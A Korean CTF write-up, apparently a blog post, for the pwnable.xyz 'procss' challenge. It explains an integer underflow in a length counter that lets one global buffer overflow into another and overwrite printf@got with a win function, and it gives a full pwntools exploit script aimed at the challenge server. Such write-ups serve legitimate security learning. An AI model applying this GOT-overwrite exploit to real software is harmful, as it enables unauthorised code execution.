# procss
FSB 취약점처럼 보이는데 name과 desc가 전역변수라 FSB 취약점이 일어나지 않는다.
하지만 printf@got를 win 함수 주소로 덮으면 된다.
1번 메뉴에서 maxlen = maxlen - readline(v4, v7) 을 하는데, readline() 함수의 반환값이 음수이면 maxlen 값을 증가시킬 수 있다.
readline() 함수를 보면 v2-1 값을 리턴하는데 v2 변수는 strlen(name)의 결과, 즉 name의 길이이다.
따라서 길이는 음수가 될 수 없고, 가장 작게 줄 수 있는 경우는 길이가 0일 때이다.
다행히 리턴값이 v2-1로 v2 = 0이면 -1로 만들 수 있어서 maxlen 값을 1씩 증가시킬 수 있다.
따라서 name에는 항상 길이가 0이 되도록 입력해서 maxlen 변수 길이를 늘린다.
name과 desc 변수 모두 전역변수로, name 변수의 크기를 증가시키면 name 입력 시 desc 변수 값도 덮을 수 있다.
name에 입력 시 desc 전까지는 더미를 주고, desc 위치에 printf@got를 넣어놓은 후,
desc에 입력 시 win 함수 주소를 준다면 printf@got에 win 함수 주소가 적힌다.
위와 같은 offset을 가진다.
따라서 name에 넣을 payload는
'A'*0x80 + p64(printf@got) 로 총 0x88 바이트, 128인 초기 maxlen에서 8 정도만 maxlen을 증가시키면 된다.
1) 1번 메뉴
- maxlen 값 증가시킨다.
2) 1번 메뉴
- name에 payload = 'A'*0x80 + p64(print@got) 를 넣는다.
- 이때 그냥 p64(printf@got)로 주면 앞의 "\x60"이 잘려서 "\x40\x20\x60\x12"로 printf@got를 준다.
- desc에 printf@got가 적히는 것 확인 가능하다.
3) 2번 메뉴
- desc에 win 주소 입력한다.
- printf@got가 win 주소로 덮히는 것 확인할 수 있다.
# exploit code
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30013)
#gdb.attach(p)
elf = ELF("./challenge")
win = elf.symbols['win']
printf_got = elf.got['printf']
p.sendafter("Name: ", "A")
p.sendafter("Desc: ", "B")
pay = 'A'*0x80 + "\x40\x20\x60\x12"
length = len(pay)
for i in range(length-128):
p.sendafter("> ", "1")
p.sendafter("Name: ", "\x00")
#gdb.attach(p)
p.sendafter("> ", "1")
p.sendafter("Name: ", pay)
p.sendafter("> ", "2")
p.sendafter("Desc: ", p64(win))
p.interactive()
# exploit
[pwnable.xyz] executioner (0) | 2020.02.28 |
---|---|
[pwnable.xyz] J-U-M-P (0) | 2020.02.28 |
[pwnable.xyz] fclose (fSOP) (1) | 2020.02.10 |
[pwnable.xyz] SUS (0) | 2020.02.05 |
[pwnable.xyz] game (0) | 2020.01.22 |